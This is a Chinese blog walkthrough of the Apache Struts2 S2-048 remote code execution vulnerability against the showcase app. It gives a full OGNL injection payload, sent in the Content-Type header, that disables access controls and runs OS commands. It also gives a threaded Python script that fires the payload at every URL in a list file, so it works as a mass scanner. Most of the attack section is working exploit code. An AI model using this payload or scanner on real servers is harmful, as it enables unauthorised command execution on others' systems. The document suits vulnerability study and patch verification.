Struts-S2-048漏洞测试

这个是7月份爆出的漏洞了。

可以远程执行代码,想想就很厉害的样子。

一、环境搭建。

tomcat  /  jdk   /Struts-2.3.24-apps.zip

tomcat和jdk直接跳过了   包含漏洞环境的安装包下载地址:http://download.csdn.net/download/qq1124794084/9969407

下载解压完成后,把struts2-showcase.war包放在 webapp目录下,然后重启tomcat就自动解压了

Struts-S2-048漏洞测试_第1张图片

这时就可以通过浏览器直接访问漏洞触发点http://ip地址:8080/struts2-showcase/index.action

Struts-S2-048漏洞测试_第2张图片

Gangster Name这个地方就是漏洞的触发点了。 我们试试用OGNL表达式,例如${9/3}

Struts-S2-048漏洞测试_第3张图片

可以看到${9/3}被执行了。

Struts-S2-048漏洞测试_第4张图片


所以我们可以在提交这个请求的时候截包,修改为我们漏洞利用的代码。

截包后我们把Content-type修改为我们的POC代码

%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
POC是我网上找的。


可以看到,我在POC中请求执行cmd的ipconfig命令,,结果返回了。

Struts-S2-048漏洞测试_第5张图片


python s-048测试脚本:

# -*- encoding: utf-8 -*-
import requests
import threading
def poc(url):
    header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36",
    "Content-Type":"%{(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo struts-048').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}"
    }
    data = {'name':'name=%24%7B9%2F3%7D&age=111&__checkbox_bustedBefore=true&description=111'}
    try:
        r = requests.post(url,headers=header,data=data,timeout=5)
        html = r.text
    except:
        html = ""
    if "struts-048" in html:
        print "[%s]发现Struts 048漏洞"%url


    
if __name__ == "__main__":
    with open("url.txt","r") as f:
        urls = f.readlines()
        for url in urls:
            threading.Thread(target=poc,args=(url,)).start()
            



 

你可能感兴趣的:(web安全)